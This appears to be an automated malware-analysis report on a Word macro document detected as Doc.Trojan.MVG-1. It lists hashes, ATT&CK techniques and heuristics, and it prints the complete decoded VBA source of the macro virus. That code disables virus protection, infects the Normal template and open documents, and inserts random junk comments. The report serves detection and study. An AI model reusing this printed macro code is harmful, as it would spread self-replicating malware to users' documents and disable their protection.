Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3475b64d9675a6f7…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-10-19 20:11:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 9771a497e3b8df0376447dfa080e4a5c SHA-1: a9e595e2da63e3006d527bd063c3f41e245cc876 SHA-256: 3475b64d9675a6f79bd9bfb9d2389cd073585e2cc363a5f689edef956cb37522
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro attempts to disable virus protection and inject code into the Normal template and the active document, suggesting an attempt to achieve persistence and modify document behavior. The ClamAV detection further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.MVG-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MVG-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2261 bytes
SHA-256: 2742c47c0473c5870192501a4331b6dc48e5fc0d05d41befa93f968259491dc3
Detection
ClamAV: Doc.Trojan.MVG-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Const jedan = 1: nula = 2 * 0: verzija = (10 - 1)
With Options
.VirusProtection = nula
End With
If Application.Version = verzija & "." & nula Then
GoTo pocni
aha:
GoTo startaj
startaj:
GoTo aha
pocni:
Set vx = ThisDocument.VBProject: Set ma = vx.VBComponents(jedan):
ve = ma.CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
If nt <> ve Then
Set infnt = NormalTemplate.VBProject.VBComponents(jedan).CodeModule
infnt.DeleteLines 1, infnt.CountOfLines
infnt.AddFromString ve
End If
Set we = NormalTemplate.VBProject: Set ku = we.VBComponents(jedan):
nt = ku.CodeModule.Lines(1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If ad <> ve Then
Set INFAD = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
INFAD.DeleteLines 1, INFAD.CountOfLines
INFAD.AddFromString ve
Set vo = ActiveDocument.VBProject: Set gr = vo.VBComponents(jedan):
ad = gr.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents.Item(jedan).CodeModule.CountOfLines)
End If
End If
Dim KSJDHFE, PODFGHN, ZXCASDF, PIOUWER, A, B, QWPEOIS
adf = ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
For ah = 1 To adf
dg = Mid(ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(ah, 1), 1, 1)
If dg = "'" Then ThisDocument.VBProject.VBComponents(1).CodeModule.DeleteLines ah, 1
Next ah
For KSJDHFE = 10 To 1 Step -2
For PODFGHN = 0 To 2
ZXCASDF = Chr(Rnd * 105 + 1) & Asc(Chr(Rnd * 10 + 1))
QWPEOIS = Hex(Rnd * 120 + 4)
PIOUWER = ZXCASDF & PIOUWER & QWPEOIS
Next PODFGHN
Next KSJDHFE
Set AdAcTiV = ActiveDocument.VBProject.VBComponents(1).CodeModule
For c = 1 To AdAcTiV.CountOfLines + 38 Step 2
AdAcTiV.insertlines c + 1, "'" & PIOUWER
Next c
If Second(Now()) = 8 And Minute(Now()) = 6 And Hour(Now()) = 3 And Day(Now()) = 2 Then
CommandBars("Tools").Delete ""
'WordMacro.MVG by e[ax]
'RCJ v1.0 (Random Comment Junker) by e[ax]
End If
End Sub

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